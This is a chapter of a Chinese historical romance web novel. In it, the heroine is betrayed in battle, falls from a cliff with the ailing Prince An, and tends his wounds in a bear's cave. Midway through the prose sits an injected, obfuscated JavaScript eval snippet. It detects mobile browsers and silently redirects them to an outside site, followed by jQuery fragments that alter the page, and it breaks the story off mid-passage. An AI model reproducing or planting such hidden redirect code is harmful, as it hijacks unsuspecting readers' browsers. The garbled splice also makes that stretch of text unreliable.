34.坠崖

作品:《乱世女主决定弃屠从医

    那人抚摸着胸口正中新鲜的长疤,叹了口气:“唉,还是露馅了啊。”


    “谢、长、脚!”


    陈皎皎大喝一声,横剑身前,劈划下一道凛冽的剑风,只身将敌军与自己隔开。


    回想当时,他们二人在萨尔拉姆的沙丘上谈及受污的长河,陈皎皎只当自己是一时的多疑,未曾深究谢长脚稍显怪异的举止与言行。


    她没想到,他竟然真有问题。


    更没想到,自己差点儿就被借刀杀人了。


    陈皎皎牙关紧咬,挤出几个字:“为什么?”


    谢长脚摸了摸后脑,亦趋亦近:“没有那么多复杂的缘由,无非是威逼与利诱。”


    说着,他的视线绕过她,落在后面那位看上去弱不禁风的安王身上:


    “杀了他,什么都解决了,无论是战乱还是疾病,一劳永逸,这不好么?”


    闻言,临风而立的赵卿文嘴角勾起一抹自嘲的弧弯,深不见底的眼眸中浮出淡淡的厌弃。


    陈皎皎不自觉将人护在身后,朝前狠狠啐了一口:


    “我呸!为了自己就为了自己呗,谈什么为了天下?老谢,你脸真大啊,没想到你居然是如此道貌岸然之人!”


    被戳中心思的谢长脚面色一沉,眼神转冷,挥手道:“上!”


    “小心——!”


    刀光剑影间,蛮力挥剑的陈皎皎忽地听见赵卿文疾呼,但她来不及反应,整个人便被前后夹击。


    一招不慎,她重心失稳,脚底踩空,直直向后倒去,坠入云雾缭绕的高崖之间。


    “皎皎——!”


    赵卿文伸手,却只捞住了她的一片衣袖,他眼角含泪,一咬牙,也随之跳了下去。


    一时间,断崖上静得只余下呼啸而过的风声与草木婆娑的轻响。


    谢长脚走至崖边,低头望着看不见尽头的深涧,呼吸猛地一滞,良久才缓缓开口道:“撤。”


    长涧深崖无底无声,他们二人此番定然殒命了吧……


    ……


    陈皎皎命硬。还活着。


    也不知道她那阴曹地府里的老爹给阎王爷磕了多少头才保下她的性命。


    她是被痛醒的,背痛,头也痛。


    痛得龇牙咧嘴,眉头紧皱。


    但最痛的还是右手臂那条从手腕一路割裂至肩颈的鲜血淋漓的长口子。


    皮翻肉绽,血流如注,万幸未伤及筋脉。


    她深呼气,慢慢从扎手刺挠的草地上坐起来,环顾四周。


    此地是一处开口斜向上的山洞,四围皆是爬满半青半黄藤萝的天然石壁。


    洞里静悄无声,从天而降的光束正巧直射到她面前那一块沾着点点血迹的石堆上。


    石堆上还燃着一团热火。


    陈皎皎蓦地想起那张坠崖昏迷前一晃而过满目哀伤的小白脸。


    对啊。


    赵卿文也下来了。


    他人呢?


    陈皎皎张开干涩嘶哑的喉咙呼唤他:“赵卿文?”


    洞内空空荡荡,无人回应。


    她低头,看见那把一同坠落的长剑,它断成了两截,正安详地躺在一旁。


    手臂疼得厉害,陈皎皎咬牙扯下衣摆上那块还算干净的布料,草草清理包扎了伤口。


    唉……


    她瞧着身上破破烂烂的衣裳,难免惋惜:好不容易才穿上一身合身衣裳。


    咔嚓。


    咔嚓。


    洞口外似有声响。


    “赵卿文?是你吗?”


    陈皎皎撑着崎岖石壁艰难爬起,朝洞口的微光缓缓靠近。


    “赵……”


    她探过头,话语犹在嘴边,却已然被眼前所见震住。


    只见一只有成年男子身高的年幼野熊四肢垂地,静静蹲守在洞口。


    它双目猩红,口涎垂地,正死死盯着洞穴中的陈皎皎,仿佛顷刻间就会冲上来将她撕得粉碎。


    陈皎皎以前于老家沟雄岭的冬天见过棕熊出没时在雪地留下的足迹,如今却在陌生他乡与野熊照了个正面。


    说不怵那是不可能的。


    陈皎皎自觉心跳好似有野马在狂奔。


    她早年听人说过,熊不吃死人,于是果断屏住呼吸,挪动细碎的脚步向洞内后撤。


    好在那只熊不知为何似有忌惮,只在洞口徘徊,不敢上前。


    突然间,她脚下不知被什么一绊,随即呼吸一滞,紧紧地望向洞口。


    两只吃人血目转瞬从前方的黑暗中露现,待陈皎皎被身后之人接住后,又齐齐退却。


    清苦的药香离她很近,充萦鼻间。


    紧贴着耳畔刮过一句温和柔软的男声,一阵稍纵即逝的酥麻:“别怕,我在。”


    气氛莫名有一丝旖旎。


    然而陈皎皎迟钝未觉,心下只道好悬,差点就被熊吃了。


    她回头,见赵卿文一手举着火把,一手握着一只鼓鼓的皮水囊:“你去打水了?”


    “嗯。”


    方才他在附近转了一圈,找到了一汪还算清澈的山泉。


    他轻轻捏了捏水囊,拔开塞子,递给陈皎皎:“你先喝点。倘若不够我再去取些来。”


    陈皎皎顺手接过,边喝边问他:“这里有熊?”


    赵卿文缩回相触之后发红的指尖,低眉颔首:“嗯。依我所见,此地应该是熊洞。”


    陈皎皎听他这么一说,险些被水呛肺,止不住地咳了好半天才缓过来。


    赵卿文将她扶坐到一旁的大石头上,轻顺其背,眉目温柔:“慢些,不着急。”


    陈皎皎咳完了也喝完了,顺手将水囊送与赵卿文:“你喝吧。”


    可这奇怪的安王殿下不知在想些什么,愣愣地盯着手中的水囊发呆,双颊和耳后还连起了一抹淡淡的绯云,反是给他这病恹恹的文气小脸平添了几分生气和艳色。


    思及至此,裂开的伤口隐隐作痛,她撇开眼,极力不去想它,转而岔开话头:“你受伤了吗?”


    赵卿文面不改色捂住了自己的左腿,沉吟道:“……应该没有。”


    二人各怀心事,一时无话。


    ……


    天色暗下来了,地势复杂,路看不清,不好走。山里的夜总是格外的阴冷,带着湿漉的潮气往人的骨头里面钻。


    陈皎皎决意先在此地将就过一夜,明日再找法子走出去。


    她与赵卿文并肩依偎着围坐在生起的篝火旁取暖。


    噼里啪啦作响的火堆驱散了寒意和恐惧,也在不知不觉中拉近了这对被迫患难与共的二人。


    陈皎皎折了点干燥的枯草断枝添进火里,赵卿文盯着其中晃动不安的黄金火苗,看得入迷。


    她瞥见他痴痴的模样,随口玩笑:“哼哼,没想到大名鼎鼎的安王,仇家还真是不少啊……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224685|193030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赵卿文抬起笑意盈盈的眉眼,望向她:“是啊,不少呢。唉,是在下连累皎皎了……”


    “切,早知如此,我当初还费劲吧啦来杀你做啥啊,反正恶人自有天收……”


    赵卿文闻言,悄悄将脑袋靠在她的左肩:“如真是如此倒也一了百了……”


    陈皎皎斜了他一眼,一怒之下弯起手肘朝他胸下来了一击:“那不中啊,你要死也得死在我手里。”


    谁料赵卿文沉痛地闷哼一声,捂着胸口,侧身倒在了地上。


    这一倒吓得陈皎皎慌了神,她急忙蹲下扶起他:“你不是说没受伤吗!”


    陈皎皎急切地伸出手,想去剥开他胸口衣襟查看伤势,却一把被他捉住了手。


    她瞧见赵卿文被火光照得通红的脸颊和一双烟波含嗔的眼眸,颇感困惑。疑他或许担忧伤势,于是难得好声好气地抚慰他:“你放开,给我瞧瞧,我之前机缘巧合学了医,行过诊,此番也定能治你。”


    陈皎皎坦坦荡荡一副正人君子做派,更衬得赵卿文欲盖弥彰羞愤欲死。


    他不知如何是好,只觉自己的耳根连同身子又软又热,像有烈火在烧。


    在陈皎皎苦口婆心好言相劝之下,他终还是松了手,任由她撩开胸膛前那块浸了血的布料。


    白皙精瘦的胸腹就这样裸.露在冰凉昏暗的夜色里,他不禁“嘶”地一声,轻微倒抽了一口气。


    而陈皎皎此刻只怪自己被他一身的玄色蒙蔽了双眼,竟未能觉察到他的反差与不适。


    赵卿文缄默不言,逃避似地闭上双眼,却不想五感瞬间放大,阴差阳错地助他敏锐捉到了她那粗糙微凉的指腹。


    他的神思蓦然迟缓,整个人如孩童般无助,放任追随着那道指尖,任由其轻轻缓缓地沿着自己的胸腔肋骨一路下滑。


    所到之处仿佛如有幼虫轻啃,惹得人止不住弓身微颤。


    “弄疼你了?”


    耳边飘来她的声音,很近,却又像隔着云端。


    他好似还能感受到她温热湿润的鼻息,正轻吐在他纤长泛红的脖颈间,痒痒的。


    此刻他诚如游鱼溺水,不着边岸,只能勉强集聚精神,迷迷糊糊地回了她一句“没有”。


    游移的指腹倏忽停下了。


    陈皎皎随即轻轻按了按他肋下寸红肿鼓起的肌肤,淡淡开口:“擦伤,撕裂,淤青。还好,伤得不算重,我去摘点草药,你先好好躺着。”


    “嗯……”


    声音低哑,藏着情绪。


    陈皎皎抽水一走,赵卿文终于得以喘息,却也猝不及防地被更大的空虚击中。


    他微眯泛着点点泪花的眼睛,凝望着她的背影,一呼一吸之间皆是沉沉欲海。


    ……


    待陈皎皎从洞内石根下拔了许多深绿叶小的野草回来之时,赵卿文已然恢复了往昔的冷静自持,叫人看不出半点有异。


    “你看!重楼草!这可是山里林间才有的止血清淤良药呢!”①


    说着,她得意地挥了挥手中的草药,拿水把它们清洗干净后,又捡起地上的断剑,用剑柄将其捣烂,随后小心翼翼地把它们平敷在了赵卿文肿大胀起的伤患处。


    赵卿文盯着她手上的动作,眼神不自觉地从她的手臂攀爬向上,最终停落在她严肃认真的小脸上。


    “赵卿文……”


    此时,陈皎皎忽然开口了。